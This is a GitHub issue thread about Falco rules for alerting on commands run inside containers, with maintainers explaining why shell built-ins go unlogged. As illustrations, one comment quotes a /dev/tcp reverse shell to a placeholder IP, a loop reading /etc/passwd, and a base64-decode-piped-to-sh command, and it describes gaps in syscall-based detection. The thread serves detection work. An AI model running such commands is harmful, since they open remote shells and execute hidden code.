hjampala
commented
1 year ago @poiana Not able to apply label to the issue created. Please help with applyIng support label.
Closed hjampala closed 1 year ago
hjampala
commented
1 year ago @poiana Not able to apply label to the issue created. Please help with applyIng support label.
jasondellaluce
commented
1 year ago /kind bug
Falco rules' condition does not support regex matching ye (only globs and search based on contains, startswith, endswith). The example you provided is supposed to work, can you expand more on what's failing, and also provide info about what Falco version and system you're running this into?
hjampala
commented
1 year ago Expectation is to get an alert whenever we hit enter / new line char inside a container. But there is no alert generated, no error is seen but not working as expected.
Installed falco drivers on the ubuntu vm. falco version is as follows: vmauser@ubuntuvm52:~$ falco --version Falco version: 0.33.1 Libs version: 0.9.2 Plugin API: 2.0.0 Driver: API version: 2.0.0 Schema version: 2.0.0 Default driver: 3.0.1+driver
Tried capturing all the commands executed in bash/sh shell of a container by using proc.pname in the condition as shown below. This is capturing almost all the commands. Observed the commands like cd, echo are not generating any alert. Is there any specific reason for the same ? Also the requirement is to generate an alert even if some arbitrary commands are executed inside a container. Ex: Requirement is to get an alert even for the below command executed in the container. vmauser@ubuntuvm52:~/falco$ dfasdfasdf dfasdfasdf: command not found vmauser@ubuntuvm52:~/falco$
- rule: shell_in_container
desc: notice shell activity within a container
condition: >
container.id != host and
evt.type = execve and
(proc.pname = bash or
proc.pname = sh) and
proc.cmdline != bash
output: >
(user=%user.name command=%proc.cmdline timestamp=%evt.datetime.s container_id=%container.id container_name=%container.name pod_name=%k8s.pod.name proc_name=%proc.name proc_pname=%proc.pname res=%evt.res)
priority: informationalAlert generated for reference:
06:24:16.286686339: Informational (user=root command=ls -lrht timestamp=2023-01-04 06:24:16 container_id=d6900bc54e26 container_name=k8s_nginx_nginx_default_e7d77691-2413-4b4e-a14f-c214d5660c04_0 pod_name=nginx proc_name=ls proc_pname=bash res=SUCCESS)
loresuso
commented
1 year ago Hi @hjampala, I don't have a specific answer to your question at the moment, but I can tell you that both cd and echo are shell built-in commands. This means that the shell, instead of forking and executing a new executable like usual, directly handles the command. Think about it: when you issue cd you need to change the current working directory of the shell process itself, so changing directory in a child would be ineffective. That's why is the shell process that needs to call the chdir syscall itself. Same goes with echo and a write to stdout (put it simply). So what I wanted to say is that you will never have information about echo and cd this way, because there is nothing that is actually execveed.
incertum
commented
1 year ago @hjampala what you describe is something I have been thinking a lot. The dilemma between syscalls logging and associated process cmd args versus keystroke type of command logging.
Basically a common misconception is "what you type into your terminal is what would be logged as cmdline" in tools like Falco that are based on syscalls events -> not exactly true, because as Lorenzo perfectly described the shell itself interprets the input and most often "destroys" your command or doesn't even cause a new execve in the case of shell built-ins.
More examples:
[1]
Typed into terminal: bash -i >& /dev/tcp/<ip>/1337 0>&1
Logged as cmd args in execve call: bash -i
[2]
Typed into terminal: while read -r line; do echo "$line"; done < /etc/passwd;
Nothing logged as cmdargs as also shell-built-in BUT Falco can log the open* syscalls so you would get a log that the file was opened if you monitor that file.
[3]
Typed into terminal: ALL_PROXY=socks5://127.0.0.1:9999 curl https://<domain>
ENV variables, even setting or unsetting -> nothing logged as well, instead getting only curl https://<domain>
[4]
Typed into terminal: echo 'BLABLBABLABLA' | base64 --decode | sh
Destroyed by bash interpreter into 3 distinct execve's like, for example
(1) sh
(2) base64 --decode
(3) python -c exec('BLABLA'.decode('base64'))UNLESS your command gets passed with bash -c then all args or original typed commands get logged similar to how a keystroke logger would do, see maybe also this issue https://github.com/falcosecurity/falco/issues/2259
Lastly few more tips, have you explored the fields %proc.loginshellid and %proc.tty? They are useful to infer interactivity and sessionizations as well as %proc.sid or %proc.vpgid can be useful as well to chunk logs logically together.
poiana
commented
1 year ago Issues go stale after 90d of inactivity.
Mark the issue as fresh with /remove-lifecycle stale.
Stale issues rot after an additional 30d of inactivity and eventually close.
If this issue is safe to close now please do so with /close.
Provide feedback via https://github.com/falcosecurity/community.
/lifecycle stale
poiana
commented
1 year ago Stale issues rot after 30d of inactivity.
Mark the issue as fresh with /remove-lifecycle rotten.
Rotten issues close after an additional 30d of inactivity.
If this issue is safe to close now please do so with /close.
Provide feedback via https://github.com/falcosecurity/community.
/lifecycle rotten
poiana
commented
1 year ago Rotten issues close after 30d of inactivity.
Reopen the issue with /reopen.
Mark the issue as fresh with /remove-lifecycle rotten.
Provide feedback via https://github.com/falcosecurity/community. /close
poiana
commented
1 year ago @poiana: Closing this issue.
incertum
commented
1 year ago /remove-lifecycle rotten
incertum
commented
1 year ago /reopen
poiana
commented
1 year ago @incertum: Reopened this issue.
incertum
commented
1 year ago This PR is not directly addressing this issue https://github.com/falcosecurity/libs/pull/1178, still it could be regarded as an attempt to make progress.
incertum
commented
1 year ago Marking this as solved via an approximation for now. Please note Falco is still not a keystroke logger and bash built-ins not causing a newly spawned process are not being logged via a syscalls logging approach in general.
A possible filter expression you could add to your custom rule to only log spawned processes when in a tty from direct executions and not subprocesses from for example scripts could look like the following:
spawned_process and container and proc.tty != 0 and proc.is_vpgid_leader=true ... [YOUR CUSTOM EXPRESSIONS]/milestone 0.36.0
/kind support Hi,
I have an requirement to generate alert whenever manual command gets executed inside a container. Tried giving so many regex combinations in the rule condition to acheive this. But that didnt trigger any alert.
rule: shell_in_container desc: notice shell activity within a container condition: > container.id != host and proc.cmdline contains "\n"
output: > shell in a container (user=%user.name container_id=%container.id container_name=%container.name shell=%proc.name parent=%proc.pname source_ip=%fd.rip cmdline=%proc.cmdline) priority: WARNING
Is there any custom condition we can use to trigger alert whenever there is any manual command executed inside a container